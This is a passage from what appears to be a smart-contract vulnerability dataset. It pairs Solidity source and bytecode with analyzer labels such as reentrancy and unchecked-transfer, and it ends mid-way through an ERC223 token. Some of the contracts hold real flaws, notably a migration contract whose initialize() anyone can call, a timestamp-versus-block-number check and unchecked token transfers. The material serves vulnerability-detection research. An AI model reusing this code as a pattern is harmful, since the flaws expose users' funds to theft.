YFToken.safeTransfer(Controller(controller).rewards(), to_team); out = actually_out; } YFToken.safeTransfer(msg.sender, out); } } // 合约的fallback函数调用了deposit方法(存款),这也意味着使用imtoken这样的钱包,直接给该合约地址转账以太币就能够完成兑换WETH function () external payable { if (msg.sender != address(token)) { deposit(); } } }
0x6080604052600436106101815760003560e01c8063909d3f4c116100d1578063d20a31d81161008a578063da4745b311610064578063da4745b31461054b578063f77c479114610575578063f88979451461058a578063fc0c546a1461059f57610181565b8063d20a31d8146104d9578063d389800f14610503578063d7e8e85b1461051857610181565b8063909d3f4c1461041757806392eefe9b14610441578063ab033ea914610474578063ae000c8c146104a7578063b69ef8a8146104bc578063d0e30db0146104d157610181565b806348a0d7541161013e57806360a9f4581161011857806360a9f458146103815780636ac5db19146103ba57806378ce591d146103cf5780638e087c781461040257610181565b806348a0d754146103305780634e71d92d146103575780635aa6e6751461036c57610181565b8063144fa6d71461019d57806317d7de7c146101d05780632b68b65b1461025a5780632de75221146102ab5780632e1a7d4d146102dc57806345dc3dd814610306575b6000546001600160a01b0316331461019b5761019b6105b4565b005b3480156101a957600080fd5b5061019b600480360360208110156101c057600080fd5b50356001600160a01b03166107ee565b3480156101dc57600080fd5b506101e561085d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561021f578181015183820152602001610207565b50505050905090810190601f16801561024c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166108eb565b60408051938452602084019290925282820152519081900360600190f35b3480156102b757600080fd5b506102c061090c565b604080516001600160a01b039092168252519081900360200190f35b3480156102e857600080fd5b5061019b600480360360208110156102ff57600080fd5b503561091b565b34801561031257600080fd5b5061019b6004803603602081101561032957600080fd5b5035610c95565b34801561033c57600080fd5b50610345610ce7565b60408051918252519081900360200190f35b34801561036357600080fd5b5061019b610d81565b34801561037857600080fd5b506102c0610f43565b34801561038d57600080fd5b50610345600480360360408110156103a457600080fd5b50803590602001356001600160a01b0316610f52565b3480156103c657600080fd5b50610345611081565b3480156103db57600080fd5b50610345600480360360208110156103f257600080fd5b50356001600160a01b0316611087565b34801561040e57600080fd5b50610345611147565b34801561042357600080fd5b5061019b6004803603602081101561043a57600080fd5b503561114d565b34801561044d57600080fd5b5061019b6004803603602081101561046457600080fd5b50356001600160a01b031661119f565b34801561048057600080fd5b5061019b6004803603602081101561049757600080fd5b50356001600160a01b031661120e565b3480156104b357600080fd5b506102c061127d565b3480156104c857600080fd5b50610345611295565b61019b6105b4565b3480156104e557600080fd5b5061028d600480360360208110156104fc57600080fd5b503561139a565b34801561050f57600080fd5b5061019b6113bb565b34801561052457600080fd5b506103456004803603602081101561053b57600080fd5b50356001600160a01b031661145c565b34801561055757600080fd5b5061019b6004803603602081101561056e57600080fd5b503561146e565b34801561058157600080fd5b506102c0611582565b34801561059657600080fd5b50610345611591565b3480156105ab57600080fd5b506102c0611597565b6000805460408051630d0e30db60e41b8152905134936001600160a01b039093169263d0e30db09285926004808301939282900301818588803b1580156105fa57600080fd5b505af115801561060e573d6000803e3d6000fd5b5050336000908152600660205260409020546106359350915083905063ffffffff6115a616565b336000908152600660209081526040822092909255805260079052600080516020611aa7833981519152541561070b57600080526007602052600080516020611aa7833981519152546106f7906106d8906001906106cc906b1d6329f1c35ca4bfabb9f56160281b906106c09084906106b4908963ffffffff61160716565b9063ffffffff61166016565b9063ffffffff6116a216565b9063ffffffff6115a616565b336000908152600660205260409020600101549063ffffffff6115a616565b336000908152600660205260409020600101555b600080526007602052600080516020611ac783398151915254610734908263ffffffff6115a616565b600080805260076020908152600080516020611ac7833981519152929092556003549054604080516370a0823160e01b8152306004820152905192936001600160a01b03909216926370a0823192602480840193919291829003018186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d60208110156107c957600080fd5b505111156107d9576107d96113bb565b50336000908152600860205260409020429055565b6004546001600160a01b0316331461083b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108e35780601f106108b8576101008083540402835291602001916108e3565b820191906000526020600020905b8154815290600101906020018083116108c657829003601f168201915b505050505081565b60066020526000908152604090208054600182015460029092015490919083565b6001546001600160a01b031681565b610923610d81565b33600090815260066020526040902054811115610972576040805162461bcd60e51b81526020600482015260086024820152672162616c616e636560c01b604482015290519081900360640190fd5b60008054604080516370a0823160e01b815230600482015290518493926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109be57600080fd5b505afa1580156109d2573d6000803e3d6000fd5b505050506040513d60208110156109e857600080fd5b5051905081811015610b23576000610a06838363ffffffff61166016565b600554600080546040805163f3fef3a360e01b81526001600160a01b03928316600482015260248101869052905194955092169263f3fef3a392604480820193929182900301818387803b158015610a5d57600080fd5b505af1158015610a71573d6000803e3d6000fd5b505060008054604080516370a0823160e01b815230600482015290519294506001600160a01b0390911692506370a08231916024808301926020929190829003018186803b158015610ac257600080fd5b505afa158015610ad6573d6000803e3d6000fd5b505050506040513d6020811015610aec57600080fd5b505190506000610b02828563ffffffff61166016565b905082811015610b1f57610b1c848263ffffffff6115a616565b94505b5050505b600080526007602052600080516020611aa783398151915254610b8490610b65906b1d6329f1c35ca4bfabb9f56160281b906106c0908763ffffffff61160716565b336000908152600660205260409020600101549063ffffffff61166016565b336000908152600660205260409020600181019190915554610bac908463ffffffff61166016565b336000908152600660209081526040822092909255805260079052600080516020611ac783398151915254610be7908463ffffffff61166016565b60008080526007602052600080516020611ac783398151915291909155805460408051632e1a7d4d60e01b81526004810186905290516001600160a01b0390921692632e1a7d4d9260248084019382900301818387803b158015610c4a57600080fd5b505af1158015610c5e573d6000803e3d6000fd5b505060405133925084156108fc02915084906000818181858888f19350505050158015610c8f573d6000803e3d6000fd5b50505050565b6004546001600160a01b03163314610ce2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b60025460008054604080516370a0823160e01b815230600482015290519293610d7c93612710936106c0936001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610d4457600080fd5b505afa158015610d58573d6000803e3d6000fd5b505050506040513d6020811015610d6e57600080fd5b50519063ffffffff61160716565b905090565b6000610d8c33611087565b33600090815260066020908152604082205491805260079052600080516020611aa783398151915254919250610ddd916b1d6329f1c35ca4bfabb9f56160281b916106c0919063ffffffff61160716565b336000908152600660205260409020600181019190915560020154610e08908263ffffffff6115a616565b336000908152600660205260409020600201558015610f405733600090815260086020526040902054420362015180811015610f21576000610e71670de0b6b3a76400006106c0620151808183610e65888a63ffffffff61160716565b9063ffffffff61160716565b90506000610e85848363ffffffff61166016565b9050610f1d600560009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed857600080fd5b505afa158015610eec573d6000803e3d6000fd5b505050506040513d6020811015610f0257600080fd5b50516001546001600160a01b0316908363ffffffff6116e416565b5091505b600154610f3e906001600160a01b0316338463ffffffff6116e416565b505b50565b6004546001600160a01b031681565b60008080526007602052600080516020611ac7833981519152548190610fba90610f95906106c0876b1d6329f1c35ca4bfabb9f56160281b63ffffffff61160716565b600080526007602052600080516020611aa7833981519152549063ffffffff6115a616565b6001600160a01b03841660009081526006602052604081205491925090610ffd906b1d6329f1c35ca4bfabb9f56160281b906106c090859063ffffffff61160716565b905061101861100b85611087565b829063ffffffff61166016565b6001600160a01b0385166000908152600660205260409020600101549091508110156110495760009250505061107b565b6001600160a01b03841660009081526006602052604090206001015461107690829063ffffffff61166016565b925050505b92915050565b61271081565b6001600160a01b03811660009081526006602090815260408220548280526007909152600080516020611aa78339815191525482916110e1916b1d6329f1c35ca4bfabb9f56160281b916106c0919063ffffffff61160716565b6001600160a01b038416600090815260066020526040902060010154909150811015611111576000915050611142565b6001600160a01b03831660009081526006602052604090206001015461113e90829063ffffffff61166016565b9150505b919050565b60035481565b6004546001600160a01b0316331461119a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600355565b6004546001600160a01b031633146111ec576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b0316331461125b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b7396f9632b25f874769969ff91219fccb6cedf26d281565b60055460008054604080516370a0823160e01b81526001600160a01b03928316600482015290519293610d7c939216916370a0823191602480820192602092909190829003018186803b1580156112eb57600080fd5b505afa1580156112ff573d6000803e3d6000fd5b505050506040513d602081101561131557600080fd5b5051600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561136257600080fd5b505afa158015611376573d6000803e3d6000fd5b505050506040513d602081101561138c57600080fd5b50519063ffffffff6115a616565b60076020526000908152604090208054600182015460029092015490919083565b60006113c5610ce7565b6005546000549192506113eb916001600160a01b0390811691168363ffffffff6116e416565b600554600080546040805163b02bf4b960e01b81526001600160a01b039283166004820152602481018690529051919093169263b02bf4b992604480830193919282900301818387803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b5050505050565b60086020526000908152604090205481565b600081116114ab576040805162461bcd60e51b815260206004820152600560248201526406e6f7420360dc1b604482015290519081900360640190fd5b6001546114c9906001600160a01b031633308463ffffffff61173b16565b600080526007602052600080516020611ac78339815191525461150990610f95906106c0846b1d6329f1c35ca4bfabb9f56160281b63ffffffff61160716565b600080526007602052600080516020611aa7833981519152557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e054611554908263ffffffff6115a616565b6000805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e05550565b6005546001600160a01b031681565b60025481565b6000546001600160a01b031681565b600082820183811015611600576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000826116165750600061107b565b8282028284828161162357fe5b04146116005760405162461bcd60e51b8152600401808060200182810382526021815260200180611a866021913960400191505060405180910390fd5b600061160083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611795565b600061160083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061182c565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611736908490611891565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610c8f908590611891565b600081848411156118245760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117e95781810151838201526020016117d1565b50505050905090810190601f1680156118165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361187b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117e95781810151838201526020016117d1565b50600083858161188757fe5b0495945050505050565b6118a3826001600160a01b0316611a49565b6118f4576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119325780518252601f199092019160209182019101611913565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611994576040519150601f19603f3d011682016040523d82523d6000602084013e611999565b606091505b5091509150816119f0576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610c8f57808060200190516020811015611a0c57600080fd5b5051610c8f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611ae7602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611a7d5750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e16d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820f87df4f133c770cac827ebce40bbf82d3c179d599cfdd91444bfe49d7ce83fbe64736f6c634300050f0032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,682
0xb1b46206b0e5d0fe9e5255d5a632dde2b7d6ce87
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IOwnable { function owner() external view returns (address); function renounceOwnership() external; function transferOwnership( address newOwner_ ) external; } contract Ownable is IOwnable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = msg.sender; emit OwnershipTransferred( address(0), _owner ); } /** * @dev Returns the address of the current owner. */ function owner() public view override returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual override onlyOwner() { emit OwnershipTransferred( _owner, address(0) ); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership( address newOwner_ ) public virtual override onlyOwner() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred( _owner, newOwner_ ); _owner = newOwner_; } } interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } /* * Expects percentage to be trailed by 00, */ function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } contract aOHMMigration is Ownable { using SafeMath for uint256; uint256 swapEndBlock; IERC20 public OHM; IERC20 public aOHM; bool public isInitialized; mapping(address => uint256) public senderInfo; modifier onlyInitialized() { require(isInitialized, "not initialized"); _; } function initialize( address _OHM, address _aOHM, uint256 _swapDuration ) public { OHM = IERC20(_OHM); aOHM = IERC20(_aOHM); swapEndBlock = block.number.add(_swapDuration); isInitialized = true; } function migrate(uint256 amount) external onlyInitialized() { require( aOHM.balanceOf(msg.sender) >= amount, "amount above user balance" ); require(block.number < swapEndBlock, "swapping of aOHM has ended"); aOHM.transferFrom(msg.sender, address(this), amount); senderInfo[msg.sender] = senderInfo[msg.sender].add(amount); OHM.transfer(msg.sender, amount); } function reclaim() external { require(senderInfo[msg.sender] > 0, "user has no aOHM to withdraw"); require( block.timestamp > swapEndBlock, "aOHM swap is still ongoing" ); uint256 amount = senderInfo[msg.sender]; senderInfo[msg.sender] = 0; aOHM.transfer(msg.sender, amount); } function withdraw() external onlyOwner() { require(block.number > swapEndBlock, "swapping of aOHM has not ended"); uint256 amount = OHM.balanceOf(address(this)); OHM.transfer(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806380e9071b1161007157806380e9071b1461012f578063831f4df1146101375780638da5cb5b1461015b578063a6c41fec14610163578063a6dd4c661461016b578063f2fde38b146101a3576100a9565b80631794bb3c146100ae578063392e53cd146100e65780633ccfd60b14610102578063454b06081461010a578063715018a614610127575b600080fd5b6100e4600480360360608110156100c457600080fd5b506001600160a01b038135811691602081013590911690604001356101c9565b005b6100ee61021e565b604080519115158252519081900360200190f35b6100e461022e565b6100e46004803603602081101561012057600080fd5b50356103e0565b6100e4610657565b6100e4610700565b61013f61081f565b604080516001600160a01b039092168252519081900360200190f35b61013f61082e565b61013f61083d565b6101916004803603602081101561018157600080fd5b50356001600160a01b031661084c565b60408051918252519081900360200190f35b6100e4600480360360208110156101b957600080fd5b50356001600160a01b031661085e565b600280546001600160a01b038086166001600160a01b0319928316179092556003805492851692909116919091179055610203438261095d565b60015550506003805460ff60a01b1916600160a01b17905550565b600354600160a01b900460ff1681565b6000546001600160a01b0316331461028d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60015443116102e3576040805162461bcd60e51b815260206004820152601e60248201527f7377617070696e67206f6620614f484d20686173206e6f7420656e6465640000604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561032e57600080fd5b505afa158015610342573d6000803e3d6000fd5b505050506040513d602081101561035857600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b1580156103b157600080fd5b505af11580156103c5573d6000803e3d6000fd5b505050506040513d60208110156103db57600080fd5b505050565b600354600160a01b900460ff16610430576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600354604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561047a57600080fd5b505afa15801561048e573d6000803e3d6000fd5b505050506040513d60208110156104a457600080fd5b505110156104f9576040805162461bcd60e51b815260206004820152601960248201527f616d6f756e742061626f766520757365722062616c616e636500000000000000604482015290519081900360640190fd5b600154431061054f576040805162461bcd60e51b815260206004820152601a60248201527f7377617070696e67206f6620614f484d2068617320656e646564000000000000604482015290519081900360640190fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156105a957600080fd5b505af11580156105bd573d6000803e3d6000fd5b505050506040513d60208110156105d357600080fd5b5050336000908152600460205260409020546105ef908261095d565b33600081815260046020818152604080842095909555600254855163a9059cbb60e01b8152928301949094526024820186905293516001600160a01b039093169363a9059cbb9360448084019492939192918390030190829087803b1580156103b157600080fd5b6000546001600160a01b031633146106b6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b33600090815260046020526040902054610761576040805162461bcd60e51b815260206004820152601c60248201527f7573657220686173206e6f20614f484d20746f20776974686472617700000000604482015290519081900360640190fd5b60015442116107b7576040805162461bcd60e51b815260206004820152601a60248201527f614f484d2073776170206973207374696c6c206f6e676f696e67000000000000604482015290519081900360640190fd5b336000818152600460208181526040808420805490859055600354825163a9059cbb60e01b81529485019690965260248401819052905190946001600160a01b03169363a9059cbb936044808201949392918390030190829087803b1580156103b157600080fd5b6003546001600160a01b031681565b6000546001600160a01b031690565b6002546001600160a01b031681565b60046020526000908152604090205481565b6000546001600160a01b031633146108bd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109025760405162461bcd60e51b81526004018080602001828103825260268152602001806109bf6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000828201838110156109b7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220f70780a2b90d8ce91c13415c18fcb572f3e5a69591e6a8466131d5700be8a65e64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,683
0x16d9306c93a37ae3954efe211262ab6e7579acc0
pragma solidity ^0.4.24; /** * @title ERC223 * @dev Interface for ERC223 */ interface ERC223 { // functions function balanceOf(address _owner) external constant returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); // Getters function name() external constant returns (string _name); function symbol() external constant returns (string _symbol); function decimals() external constant returns (uint8 _decimals); function totalSupply() external constant returns (uint256 _totalSupply); // Events event Transfer(address indexed _from, address indexed _to, uint256 _value); event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed burner, uint256 value); } /** * @notice A contract will throw tokens if it does not inherit this * @title ERC223ReceivingContract * @dev Contract for ERC223 token fallback */ contract ERC223ReceivingContract { TKN internal fallback; struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) external pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title C3Coin * @dev C3Coin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract C3Coin is ERC223, Ownable { using SafeMath for uint; string public name = "C3coin"; string public symbol = "CCC"; uint8 public decimals = 18; uint256 public totalSupply = 10e10 * 1e18; constructor() public { balances[msg.sender] = totalSupply; } mapping (address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowance; /** * @dev Getters */ // Function to access name of token . function name() external constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() external constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() external constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() external constant returns (uint256 _totalSupply) { 